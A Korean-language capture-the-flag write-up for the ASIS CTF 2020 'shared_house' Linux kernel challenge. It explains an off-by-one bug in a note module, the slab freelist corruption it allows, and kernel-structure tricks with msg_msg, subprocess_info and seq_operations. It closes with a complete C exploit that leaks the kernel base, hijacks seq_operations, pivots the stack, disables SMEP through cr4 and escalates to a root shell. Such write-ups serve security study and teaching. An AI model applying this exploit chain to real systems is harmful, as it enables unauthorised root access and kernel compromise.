[정재영] ASIS CTF 2020 / shared_house

Keyword : Linux kernel, Slab, off-by-one


#문제 환경 분석

bzImage -> kernel 
rootfs.cpio -> file system
start.sh -> shell script for qemu 

  1. bzimage

bzimage는 vmlinux을 encapsulate한 파일입니다. kernel debugging을 위해서 bzimage에서 vmlinux파일을 추출해야 합니다. binwalk를 통하여 bzimage에서 vmlinux을 추출할 수 있습니다. 

디버깅을 편하게 하기 위해 vmlinux-to-elf을 이용하여 vmlinux의 symbols을 만들어 주었습니다. (https://github.com/marin-m/vmlinux-to-elf)

symbols들이 살아나서 함수명으로 디버깅할 수 있습니다. 



  1. rootfs.cpio

rootfs.cpio파일은 file system을 저장한 파일입니다. 이 파일을 수정한 후 start.sh을 실행하면, qemu가 수정된 파일 시스템으로 부팅됩니다.

unpack하기
mkdir tmp;cd tmp;
cpio -idv < ../rootfs.cpio
repack하기
cpio -H newc -o > ../rootfs.cpio;  

exploit 코드를 짜려면 코드를 수정해야 할 일이 많습니다. 매번 명령어를 치기 귀찮으면 아래의 스크립트는 repack.sh파일로 저장하여 사용하면 편합니다.

cd tmp; vim ex.c; gcc -masm=intel -o  ex ex.c --static; find . | cpio -H newc -o > ../rootfs.cpio; cd ../

  1. start.sh

앞서 봤던 bzimage, rootfs.cpio와 qemu를 통해 가상환경을 부팅하는 스크립트입니다. 
#!/bin/sh
qemu-system-x86_64 \
    -m 256M \
    -kernel ./bzImage \
    -initrd ./rootfs.cpio \
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr pti=off quiet" \
    -cpu qemu64,+smep \
    -monitor /dev/null \
    -nographic

Kernel 메모리 보호기법으로 kaslr과 smep이 걸려있는 것을 확인할 수 있습니다. kaslr은 aslr과 마찬가지로 kernel의 주소를 랜덤화하는 보호기법입니다. smep은 CPU가 kernel 권한으로 코드를 실행할 때 Userland에 존재하는 코드를 실행하지 못하게하는 보호기법입니다. 

디버깅을 위해 start.sh를 아래와 같이 수정할 수 있습니다. "nokaslr"은 kaslr를 off하라는 옵션입니다. kaslr을 끄면 디버깅이 편해집니다. "-s"는 kernel debugging을 위해서 1234 port를 열라는 명령어입니다. gdb에서 "target remote 0:1234"를 입력하여 kernel debugging을 할 수 있습니다. (kernel debugging을 할 때는 peda보다 pwndbg를 추천합니다. pwndbg 좋아요.)

#!/bin/sh
qemu-system-x86_64 -s \
    -m 256M \
    -kernel ./bzImage \
    -initrd ./new.cpio \
    -append "root=/dev/ram rw console=ttyS0 nokaslr oops=panic panic=1 pti=off quiet" \
    -cpu qemu64,+smep \
    -monitor /dev/null \
    -nographic



#취약점 분석

노트를 작성할 수 있는 간단한 커널 모듈입니다. 두가지 취약점이 발생합니다. 


signed __int64 __fastcall mod_ioctl(__int64 a1, unsigned int arg2, __int64 buffer_pointer)
{
  note buffer; // [rsp+0h] [rbp-18h]


  if ( copy_from_user(&buffer, buffer_pointer, 0x10LL) )
    return -14LL;
  if ( LODWORD(buffer.size) <= 0x80 )
  {
    mutex_lock(&_mutex);                        // prevent race condition
    if ( arg2 == 0xC12ED002 )
    {
      if ( !note )
      {
LABEL_10:
        mutex_unlock(&_mutex);
        return -22LL;
      }
      kfree(note);
      *(&note + 0x20000000) = 0LL;              // ida 오류 --> free후 포인터 지우는 거 맞음
    }
    else if ( arg2 <= 0xC12ED002 )
    {
      if ( arg2 != 0xC12ED001 )
        goto LABEL_10;
      if ( note )
        kfree(note);
      size = buffer.size;
      note = _kmalloc(LODWORD(buffer.size), 0x6080C0LL);// 값을 초기화하지 않음
      if ( !note )
        goto LABEL_10;
    }
    else if ( arg2 == 0xC12ED003 )
    {
      if ( !note || LODWORD(buffer.size) > size || copy_from_user(note, buffer.data, LODWORD(buffer.size)) )
        goto LABEL_10;
      *(_BYTE *)(note + LODWORD(buffer.size)) = 0;// off-by-one
    }
    else if ( arg2 != 0xC12ED004
           || !note
           || LODWORD(buffer.size) > size
           || copy_to_user(buffer.data, note, LODWORD(buffer.size)) )
    {
      goto LABEL_10;
    }
    mutex_unlock(&_mutex);
    return 0LL;
  }
  return -22LL;
}


Slab은 메타데이터가 없기 때문에 off-by-one으로 slab의 single linked list를 바로 덮어쓸 수 있습니다. 이를 통해 같은 청크를 두 번 할당받을 수 있습니다. 예를 들어  kmalloc-128이 아래와 같은 상태일 때, off-by-one으로 linked linked의 마지막 바이트를 덮어써버려서 같은 청크를 두 번 할당받을 수 있습니다.


pwndbg> x/34gx 0xffff88800e359980
0xffff88800e359980:    0x0000000000000000    0x0000000000000000
```생략```
0xffff88800e359a00:    0xffff88800e359a80    0x0000000000000000
```생략```
0xffff88800e359a80:    0xffff88800e359b00    0x0000000000000000

--> Overwrite

pwndbg> x/34gx 0xffff88800e359980
0xffff88800e359980:    0x0000000000000000    0x0000000000000000
```생략```
0xffff88800e359a00:    0xffff88800e359a00    0x0000000000000000--> 0xffff88800e359a00할당 --> 0xffff88800e359a00 할당
```생략```
0xffff88800e359a80:    0xffff88800e359b00    0x0000000000000000


이를 활용하여 note를 할당받은 후 같은 주소에 Linux kernel에서 이용하는 구조체를 할당받을 수 있습니다. 이 경우 note의 내용을 읽거나 수정하는 것을 통해 kernel이 사용하는 구조체의 내용을 읽어거나 수정할 수 있습니다. 다만 note 모듈에서 허용된 사이즈가 0x80 이하이기 때문에 해당 사이즈 이하의 구조체를 사용하는 것이 편합니다. 이때 사용할 수 있는 유용한 kernel 구조체는 msg_msg, subprocess_info, seq_operations입니다.


msg_msg 구조체와 subprocess_info 구조체를 활용하여 kernel base를 Leak할 수 있습니다. 

우선 msg_msg 구조체를 통해 Heap spray를 수행합니다. msg_msg의 구조체는 아래와 같습니다. 
struct msg_msg {
        struct list_head m_list;
        long m_type;
        size_t m_ts;             /* message text size */
        struct msg_msgseg *next;
        void *security;
        /* the actual message follows immediately */
};



Userland에서 msgsnd를 호출하면 ksys_msgsnd가 호출됩니다. ksys_msgsnd는 곧바로 do_msgsnd를 호출합니다. do_msgsnd는 msgsz가 ns->msg_xtlmax보다 작은지 검사합니다. ns->msg_xtlmax는 MSGMAX로 값은 0x2000입니다. 유저가 전달한 size와 text를 인자로 load_msg를 호출합니다. 

static long do_msgsnd(int msqid, long mtype, void __user *mtext,
        size_t msgsz, int msgflg)
{
    struct msg_queue *msq;
    struct msg_msg *msg;
    int err;
    struct ipc_namespace *ns;
    DEFINE_WAKE_Q(wake_q);


    ns = current->nsproxy->ipc_ns;


    if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
        return -EINVAL;
    if (mtype < 1)
        return -EINVAL;


    msg = load_msg(mtext, msgsz);
    if (IS_ERR(msg))
        return PTR_ERR(msg);

```
생략
```
}


Load_msg는 전달받은 len을 인자로 alloc_msg을 호출합니다.

struct msg_msg *load_msg(const void __user *src, size_t len)
{
    struct msg_msg *msg;
    struct msg_msgseg *seg;
    int err = -EFAULT;
    size_t alen;


    msg = alloc_msg(len);
    if (msg == NULL)
        return ERR_PTR(-ENOMEM);


```
생략
```
    return ERR_PTR(err);
}

alloc_msg는 전달받은 len에 msg_msg 구조체의 크기를 더한 후 kmalloc을 호출합니다. msg_msg 구조체의 크기는 0x30이기 때문에 우리는 msgsnd함수를 통하여 0x30~0x1000 크기에 해당하는 slab에 대하여 Heap spray를 수행할 수 있습니다. 여기서는 kmalloc-128에 할당하는 size를 Heap spray할 것입니다.

static struct msg_msg *alloc_msg(size_t len)
{
    struct msg_msg *msg;
    struct msg_msgseg **pseg;
    size_t alen;


    alen = min(len, DATALEN_MSG);// DATALEN_MSG=0x1000
    msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
    if (msg == NULL)
        return NULL;


    msg->next = NULL;
    msg->security = NULL;


    len -= alen;
    pseg = &msg->next;
    while (len > 0) {
        struct msg_msgseg *seg;
        cond_resched();
        alen = min(len, DATALEN_SEG);
        seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);// kmalloc 호출
        if (seg == NULL)
            goto out_err;
        *pseg = seg;
        seg->next = NULL;
        pseg = &seg->next;
        len -= alen;
    }


    return msg;


out_err:
    free_msg(msg);
    return NULL;
}


 
msg_msg 구조체를 통하여 kmalloc-128에 Heap spary를 한 후, subprocess_info구조체를 통해서 kernel base를 Leak할 수 있습니다. work_struct는 subprocess_info의 멤버입니다.

 struct subprocess_info {
    struct work_struct work;
    struct completion *complete;
    const char *path;
    char **argv;
    char **envp;
    struct file *file;
    int wait;
    int retval;
    pid_t pid;
    int (*init)(struct subprocess_info *info, struct cred *new);
    void (*cleanup)(struct subprocess_info *info);
    void *data;
} __randomize_layout;

struct work_struct {
    atomic_long_t data;
    struct list_head entry;
    work_func_t func;// call_usermodehelper_exec_work
#ifdef CONFIG_LOCKDEP
    struct lockdep_map lockdep_map;
#endif
};

work_struct의 멤버인 func은 call_usermodehelper_exec_work를 가리키고 있습니다. 따라서 subprocess_info.work.func를 출력하면 kernel base를 알아낼 수 있습니다. 

struct subprocess_info *call_usermodehelper_setup(const char *path, char **argv,
        char **envp, gfp_t gfp_mask,
        int (*init)(struct subprocess_info *info, struct cred *new),
        void (*cleanup)(struct subprocess_info *info),
        void *data)
{
    struct subprocess_info *sub_info;
    sub_info = kzalloc(sizeof(struct subprocess_info), gfp_mask);
    if (!sub_info)
        goto out;


    INIT_WORK(&sub_info->work, call_usermodehelper_exec_work);
```
생략
```
}

#define __INIT_WORK(_work, _func, _onstack)                \
    do {                                \
        static struct lock_class_key __key;            \
                                    \
        __init_work((_work), _onstack);                \
        (_work)->data = (atomic_long_t) WORK_DATA_INIT();    \
        lockdep_init_map(&(_work)->lockdep_map, "(work_completion)"#_work, &__key, 0); \
        INIT_LIST_HEAD(&(_work)->entry);            \
        (_work)->func = (_func);                \
    } while (0)
#else



kaslr을 우회하는 방법을 알았으니 RIP를 컨트롤하는 방법을 알아봅시다. RIP를 컨트롤하기 위해서 seq_operations 구조체를 사용할 수 있습니다. seq_operations 구조체는 seq_file 구조체의 멤버입니다. seq_operations는 4개의 함수 포인터로 이루어져 있습니다. 따라서 seq_operations 구조체의 크기는 0x20이며, 구조체 내의 함수 포인터를 덮어쓴다면 RIP를 컨트롤할 수 있습니다. 

struct seq_file {
    char *buf;
    size_t size;
    size_t from;
    size_t count;
    size_t pad_until;
    loff_t index;
    loff_t read_pos;
    u64 version;
    struct mutex lock;
    const struct seq_operations *op;
    int poll_event;
    const struct file *file;
    void *private;
};


struct seq_operations {
    void * (*start) (struct seq_file *m, loff_t *pos);
    void (*stop) (struct seq_file *m, void *v);
    void * (*next) (struct seq_file *m, void *v, loff_t *pos);
    int (*show) (struct seq_file *m, void *v);
};


/proc/self/stat파일을 open하여 할당받은 fd를 통해 read를 하면, ksys_read->vfs_read->vm_mmap_pgoff->__vfs_read->tty_ldisc_deref를 거쳐 seq_read함수가 호출됩니다. seq_read 함수 내부에 seq_file->op->start를 이용하여 함수를 호출하는 부분이 있습니다. Heap 관련 취약점으로 op부분이 악의적인 값으로 덮혀있다면 RIP를 컨트롤할 수 있게 됩니다. 

ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
{
    struct seq_file *m = file->private_data;
    size_t copied = 0;
    size_t n;
    void *p;
    int err = 0;


    mutex_lock(&m->lock);
```
생략
```
    p = m->op->start(m, &m->index);//Control rip!!!!!
```
생략
```
}
EXPORT_SYMBOL(seq_read);


Kernel 내부의 구조체를 이용하여 kaslr bypass와 RIP control을 모두 할 수 있습니다. 이후에는 Stack pivoting, set cr4 to bypass smep, return to user 순으로 exploit이 진행됩니다. 



#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/socket.h>
#include<math.h>
#include <sys/mman.h>
#include <stdint.h>


#define new 0xC12ED001
#define remove 0xC12ED002
#define edit 0xC12ED003
#define show 0xC12ED004


char * (*prepare)(int uid)=0xFFFFFFFF81069E00 ;
void (*commit)(char * creds)=0xFFFFFFFF81069C10 ;
//char * (*prepare)(int uid) = 0x52525252525252 ;
//void (*commit)(char * creds) = 0x4141414141414141 ;
struct register_val {
     uint64_t user_rip;
    uint64_t user_cs;
    uint64_t user_rflags;
    uint64_t user_rsp;
    uint64_t user_ss;
} __attribute__((packed));
struct register_val rv;

void backup_rv(void) {
    asm("mov rv+8, cs;"
        "pushf; pop rv+16;"
        "mov rv+24, rsp;"
        "mov rv+32, ss;"
        );
}

void shell(){
    execl("/bin/sh","sh",NULL);
}

typedef struct _arg{
    long size;
    char * data;
}_arg;


typedef struct msg{
    long type;
    char buf[0x80];


}message;



void get_root(){
    commit(prepare(0)); 
}




void main(){
    int fd = open("/dev/note",O_RDWR);
    if(fd <0 ){
        printf("fail to open /dev/note\n");
        exit(-1);
    }
    long cmd=0;
    int ret,qid=0;
    long base,heap=0;
    long tmp=1;
    
    _arg arg;
    message msg;
    arg.data = malloc(0x10000);


    /*
     * Heap spray for leak
     */
    
    msg.type=1;
    qid = msgget(IPC_PRIVATE,0666|IPC_CREAT);
    if(qid<0){
        printf("msgget error\n");
        exit(-1);
    }
    for (int i =0 ; i<0x21;i++){
        if(msgsnd(qid,&msg,sizeof(msg.buf)-48,0)==-1){
            printf("msgsnd error\n");
            exit(-1);
        }
    
    }
    /*Create Note for leak
     */
    
    arg.size = 0x80;
    cmd =new ;
    ret = ioctl(fd,cmd,&arg);//alloc 0xxxxxxxxxxxxxxxxxxxxxxxxxx00
    if(ret < 0){
        printf("new error!\n");
        exit(-1);
    }


    /*
     * write note
     */
    memset(arg.data,'A',0x80);
    cmd = edit;
    ret = ioctl(fd,cmd,&arg);//Overwrite slab's next pointer
    if(ret < 0){
        printf("write error\n");
        exit(-1);
    }


    /*
     * free note
     */


    cmd = remove;
    ret = ioctl(fd,cmd,&arg);//avoid crash
    if(ret <-1){
        printf("kfree error\n");
        exit(-1);
    }


    //flush one chunk in 0x80 size slab
    msgsnd(qid,&msg,sizeof(msg.buf)-48,0);




    /*
     * Alloc same chunk twice
     *0xffff88800e359a00:    0xffff88800e359a00    0x0000000000000000--> off-by-one으로 같은 위치에 두 번 alloc
     *0xffff88800e359a10:    0x0000000000000000    0x0000000000000000
     *0xffff88800e359a20:    0x0000000000000000    0x0000000000000000
     *0xffff88800e359a30:    0x0000000000000000    0x0000000000000000
     */
    
    

    cmd = new;
    ret = ioctl(fd,cmd,&arg);
    if(ret<0){
        printf("alloc error\n");
        exit(-1);
    }

    ret = socket(22, AF_INET, 0);//write kernel base at slab chunk

     //Print Note for leak
     
    cmd = show;
    ret = ioctl(fd,cmd,&arg);
    if(ret <0 ){
        printf("show error\n");
    }
    printf("get uninitialed value\n");
    memcpy(&base,arg.data+0x18,8);
    printf("leak = %lx\n",base);
    base-=0x60160;
    printf("kernel base = %lx\n",base);
    
    //Clean up 0x20 slab
    for(int i=0;i<0x100+10;i++){
        open("/proc/self/stat",O_RDONLY);
    }

    //Overwreite 0x20 slab
    arg.size=0x20;
    cmd = new;
        ret = ioctl(fd,cmd,&arg);
        if(ret<0){
                printf("alloc error\n");
                exit(-1);
        }
    /*
     * pwndbg> x/12gx 0xffff88800e3874e0
    0xffff88800e3874e0:    0x0000000000000000    0x0000000000000000
    0xffff88800e3874f0:    0x0000000000000000    0x0000000000000000
    0xffff88800e387500:    0xffff88800e387520    0x0000000000000000
    0xffff88800e387510:    0x0000000000000000    0x0000000000000000
     */
    memset(arg.data,'A',0x20);
    arg.size=0x20;
    cmd = edit;
    ret = ioctl(fd,cmd,&arg);
    if(ret<0){
        printf("edit fail\n");
        exit(-1);
    }
    cmd = remove;
    ret = ioctl(fd,cmd,&arg);
        if(ret<0){
                printf("remove fail\n");
                exit(-1);
        }

    open("/proc/self/stat",O_RDONLY);//alloc one 0x20 slab
    
    printf("second 0x20\n");
    arg.size=0x20;
    cmd = new;
    ret = ioctl(fd,cmd,&arg);
        if(ret<0){
                printf("new fail\n");
                exit(-1);
    }
    
    long pivot = 0xffffffff813572a2;
    memcpy(arg.data,&pivot,8);
    int fd2 = open("/proc/self/stat",O_RDONLY);
    cmd = edit;
    ioctl(fd,cmd,&arg);

    long *  addr = (long *) mmap(0xe853c000, 0x60000, PROT_READ | PROT_WRITE,  0x32 | MAP_POPULATE, -1, 0);
    printf("mmap = 0x%lx\n",addr);
    
    backup_rv();

    long rop_ret = 0xFFFFFFFF81143C4A;
    long pop_rdi = 0xFFFFFFFF8122DD4C;
    long cr4 = 0xffffffff8103ee84; //: mov cr4, edi ; pop rbp ; ret  ;  (1 found)
    long swapgs = 0xffffffff8103ef24; // : swapgs  ; pop rbp ; ret  ;  (1 found)
    addr[0x102a]=rop_ret; //GET RIP;

    /*ROP start*/
    int rop=0x94;
    addr[rop++]=pop_rdi;
    addr[rop++]=0x6f0;
    addr[rop++]=cr4;
    addr[rop++]=0xdeadbeef;
    addr[rop++]=get_root;
    addr[rop++]=swapgs;
    addr[rop++]=0xdeadbeef;
    addr[rop++]=0xffffffff8101d5c6; //:    48 cf                    iretq  
    addr[rop++]=&shell;
    addr[rop++]=rv.user_cs;
    addr[rop++]=rv.user_rflags;
    addr[rop++]=rv.user_rsp;
    addr[rop++]=rv.user_ss;

    //trigger
    read(fd2,&arg.data,1);
}









#참조
https://www.lazenca.net/pages/viewpage.action?pageId=25624746
https://ptr-yudai.hatenablog.com/entry/2020/07/06/000622
https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628